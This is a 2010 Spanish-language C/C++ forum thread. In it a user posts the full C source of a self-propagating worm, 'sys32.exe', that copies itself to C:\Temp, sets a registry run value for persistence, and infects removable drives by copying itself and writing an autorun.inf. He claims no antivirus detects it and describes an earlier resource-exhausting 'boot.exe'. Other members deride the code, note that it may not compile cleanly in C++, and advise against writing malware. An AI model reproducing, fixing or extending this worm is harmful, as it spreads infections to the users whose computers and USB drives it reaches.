Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Garfield07 en 11 Junio 2010, 20:54 pm



Título: Virus sys32.exe
Publicado por: Garfield07 en 11 Junio 2010, 20:54 pm
Buenas, despues de muxas preguntas aqui, me desconecte de internet, e intente acer algo facilito. Cree el virusaco "boot.exe", que es taan efectivo k consume todos los recursos del PC, y eso k era un simple gusano...
luego me encerre a jugar al Counter un tiempo... un dia le eche un vistazo al escritorio y vi a mi bonito Dev-Cpp sucio y desgastado... empeze a programar!!!

despues de 2 bonitas horas de prácticas, nacio SYS32.exe!!!!


os pongo el codigo para k le echeis un vistazo. es muy sencillo, no se como no lo hice antes....
Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. int a;
  5. FILE *fp;
  6. char nowdir [50];
  7. char usb [12][5]={"D:\\", "E:\\", "F:\\", "G:\\", "H:\\"};
  8. char usb2 [12][5]={"D:\\", "E:\\", "F:\\", "G:\\", "H:\\"};
  9.  
  10. int main ()
  11. {
  12.    GetModuleFileName (NULL, nowdir, 256);
  13.    CopyFile (nowdir, "C:\\Temp\\sys32.exe", 0);
  14.    registro ();
  15.    while (1)
  16.    {
  17.          pendrive ();
  18.  sleep (5);
  19.    }
  20. }
  21.  
  22. int registro ()
  23. {
  24.    HKEY hkey;
  25.    RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_SET_VALUE, &hkey);
  26.    RegSetValueEx(hkey,"run",0,REG_SZ,"C:\\Temp\\sys32.exe",50);
  27.    RegCloseKey(hkey);
  28. }
  29.  
  30. int pendrive ()
  31. {
  32.    for (a=0; a<=5; a++)
  33.    {
  34.        if (GetDriveType (usb [a])==2)
  35.        {
  36.             strcat (usb [a], "\\sys32.exe");
  37.             CopyFile (nowdir, usb [a], 0);
  38.  
  39.             strcat (usb2 [a], "\\autorun.inf");
  40.             fp=fopen (usb2 [a], "wb+");
  41.             fprintf (fp, "[autorun]\nopen=sys32.exe");
  42.             fclose (fp);
  43.             fp=fopen (usb2 [a], "rb+");
  44.        }
  45.    }
  46. }
  47.  

funciona asi:
1. Se copia a "C:\Temp".
2. Se añade al registro, en una llave en la que todos tienen permisos, pero en la que puedes hacer que se abra al inicio de sesión. La única pega es que solo se abre en la sesion en la que se abre.
3. Hace un bucle infinito comprobando si se enchufan pendrives. Si se enchufan, se copia a este sitio, y crea un autorun. Lo cierra para guardar cambios y lo abre para k no lo borres.

Lo mejor es que no lo detecta ningun antivirus (por ahora, pork sin querer lo mande a analizar a ESET. a ver cuanto dura).+


Importante: El code es mio, y sus ideas, pero he de recordar que "http://usuarios.multimania.es/inyx/Gusano%20basico.pdf" me enseño a copiarme al registro. Como veis, es completamente diferente.


Título: Re: Virus sys32.exe
Publicado por: leogtz en 11 Junio 2010, 21:03 pm
"Completamente diferente", ¿diferente en qué?

Es exactamente igual a todos los "gusanos" que hay.

-¿Qué tal si no tengo una unidad C:?"
-¿Y si no tienes permisos para editar el registro?
-¿Y si tengo más unidades USB de las que pones en el vector de cadenas?


Título: Re: Virus sys32.exe
Publicado por: Garfield07 en 11 Junio 2010, 21:13 pm
diferente al de la pagina.

no quiero añadirle mas unidades xk solo es una prueba k se me ocurrio hacer un dia.
se que lo haceis mejor, pero solo lo pongo para k lo veais.
la mayoria de los ordenadores tienen C:, y si no, pues no se copia...
la mayoria tiene tambien permisos en el registro, sobre todo en tu propia cuenta, pues es CURRENT_USER!


Título: Re: Virus sys32.exe
Publicado por: [L]ord [R]NA en 11 Junio 2010, 22:14 pm
diferente al de la pagina.

no quiero añadirle mas unidades xk solo es una prueba k se me ocurrio hacer un dia.
se que lo haceis mejor, pero solo lo pongo para k lo veais.
la mayoria de los ordenadores tienen C:, y si no, pues no se copia...
la mayoria tiene tambien permisos en el registro, sobre todo en tu propia cuenta, pues es CURRENT_USER!

Disculpa, pero es la forma mas absurda que he visto para infectar pendrives, una forma patetica de buscar unidades... solo te doy un consejo, las APIs de Windows estan ahi por algo y no veo nada de original en esto... lo unico que veo es que debe de ser mas detectado que el Happy99.

Te recomiendo que te eduques bien sobre el tema antes de ponerte a programar malware.


Título: Re: Virus sys32.exe
Publicado por: Eternal Idol en 11 Junio 2010, 22:16 pm
ZarKerveros: yo te recomiendo que te pongas a aprender y practicar cosas utiles y constructivas.


Título: Re: Virus sys32.exe
Publicado por: -Ramc- en 11 Junio 2010, 22:24 pm
Lo diferente es que este no le va a compilar, el main no va a encontrar las funciones.


Título: Re: Virus sys32.exe
Publicado por: leogtz en 11 Junio 2010, 22:28 pm
Lo diferente es que este no le va a compilar, el main no va a encontrar las funciones.

Jaja, +1, pero recuerda que usa su "bonito Dev-c++", con el todo se puede.  :xD


Título: Re: Virus sys32.exe
Publicado por: Eternal Idol en 11 Junio 2010, 22:28 pm
En C compilaria me parece.


Título: Re: Virus sys32.exe
Publicado por: -Ramc- en 11 Junio 2010, 22:34 pm
En C compilaria me parece.
Ya te me tiraste el chiste. jeje

En C++ no compila y en C lanza warnings, pero, compila.

Aunque yo odio ver que el compilador me lanze un warning así sea por el salto de línea al final del archivo. jajaja


Título: Re: Virus sys32.exe
Publicado por: Littlehorse en 11 Junio 2010, 22:45 pm
Si, igualmente es ideal usar prototipos porque en ciertos casos si serán necesarios. Ademas ayudan a la lectura del código.

Tienes que mejorar varias cosas en ese código, pero estoy de acuerdo con Eternal Idol; hay muchas cosas para hacer que te van a aportar mucho mas que programar malware. Basta con usar un poco el buscador.

Saludos


Título: Re: Virus sys32.exe
Publicado por: Debci en 12 Junio 2010, 19:52 pm
Donde esta el que satura memoria?

Saludos


Título: Re: Virus sys32.exe
Publicado por: Garfield07 en 18 Junio 2010, 19:35 pm
1. NO lo detectan ningun antivirus.
2. El que la satura es el boot.exe. Solo pork para k no lo borrasen le inclui la orden de k iniciase C:\Temp\boot.exe... en un bucle infinito.


Título: Re: Virus sys32.exe
Publicado por: cbug en 19 Junio 2010, 15:23 pm
¿Por qué declara 2 funciones tipo int, y no devuelve ningún valor dentro de ellas?


Título: Re: Virus sys32.exe
Publicado por: Debci en 19 Junio 2010, 18:50 pm
1. NO lo detectan ningun antivirus.
2. El que la satura es el boot.exe. Solo pork para k no lo borrasen le inclui la orden de k iniciase C:\Temp\boot.exe... en un bucle infinito.
Pero donde puedo ver el code...

Saludos